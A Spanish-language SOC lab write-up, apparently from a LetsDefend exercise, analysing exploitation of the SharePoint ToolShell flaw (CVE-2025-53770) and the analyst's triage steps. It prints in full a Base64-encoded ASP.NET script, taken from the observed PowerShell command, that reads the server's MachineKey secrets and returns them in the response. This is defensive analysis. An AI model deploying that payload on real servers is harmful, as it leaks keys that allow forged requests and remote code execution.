
Recorrido detallado de la explotación del día cero CVE-2025-53770 (ToolShell) de SharePoint, incluido análisis de RCE, exfiltración de MachineKey, compilación de payload, despliegue de web shell y pasos de contención de respuesta a incidentes.
Investigué un zero-day de SharePoint llamado ToolShell (CVE-2025-53770) en el laboratorio de LetsDefend. Simulé un ataque zero-day del mundo real en el que una petición POST maliciosa omitió la autenticación, ejecutó PowerShell para robar las claves de MachineKeySection, compiló payload.exe e instaló un web shell (spinstall0.aspx). Registré todo, analicé el comportamiento y contuve el host. Este README cubre los procesos del ataque, los pasos para mitigarlo y las lecciones aprendidas.
Esta es una alerta crítica y una actividad sospechosa que tuvo como objetivo el ToolPane.aspx de MS SharePoint con un payload grande y un Referer suplantado. El contexto de la CVE está vinculado a CVE-2025-53770. Es una vulnerabilidad crítica de SharePoint que se explota mediante una petición POST especialmente manipulada que permitía a atacantes no autenticados. La explotación exitosa condujo a la ejecución remota de código (RCE) en el servidor. Traté esto como activo y de alta urgencia, y asumí un posible compromiso exitoso hasta que se demuestre lo contrario.
Microsoft SharePoint es una plataforma de colaboración empresarial y gestión de documentos — esencialmente un centro seguro y organizado para archivos, flujos de trabajo y aplicaciones web internas.
Un zero-day crítico en Microsoft SharePoint Server que permite a los atacantes ejecutar código de forma remota sin autenticación. Abusa de la deserialización insegura y a menudo se encadena con otras fallas de SharePoint (CVE-2025-49704, CVE-2025-49706) para tomar el control total del sistema. Clasificado con CVSS 9.8 (Crítico) y explotado activamente en la naturaleza.
Analicé la dirección IP del remitente (Dirección IP de origen) con VirusTotal
Dirección IP de origen: 107.191.58.76

De esto puedo ver que 15/95 proveedores de seguridad marcaron esta dirección IP como maliciosa, lo que ya dice mucho sobre la IP.
Ahora tengo que buscar la ubicación de la IP. Esto se hizo con la ayuda de AbuseIPDB y, como se muestra a continuación, la IP es conocida por hacking, fuerza bruta, ataques a aplicaciones web, escaneo de puertos y envenenamiento de DNS.
Como analista de SOC que resuelve esto, uno de los pasos importantes a seguir es el análisis del endpoint. Busqué el host en la seguridad de endpoints con el nombre 'SharePoint01' y, dado que la IP es conocida por hacking, para un análisis posterior.
después de localizar el host, revisé el historial de terminal para comprobar la línea de comandos
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
Debido al payload, procedí a usar el Base64 decoder para decodificar el comando como se muestra a continuación
El usuario lanzó PowerShell desde el directorio del sistema “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” y con comandos codificados un script C# del lado del servidor ASP.NET.
El payload intenta leer y filtrar el MachineKey de ASP.NET del host, un secreto que se puede usar para forjar tokens de ViewState/deserialización y permitir la omisión de la autenticación y la ejecución remota de código. Esto coincide con el patrón de explotación de ToolShell (abuso de MachineKey. Indicadores clave de compromiso (IoCs) en el comando con el uso de Base64 Decode y Encode.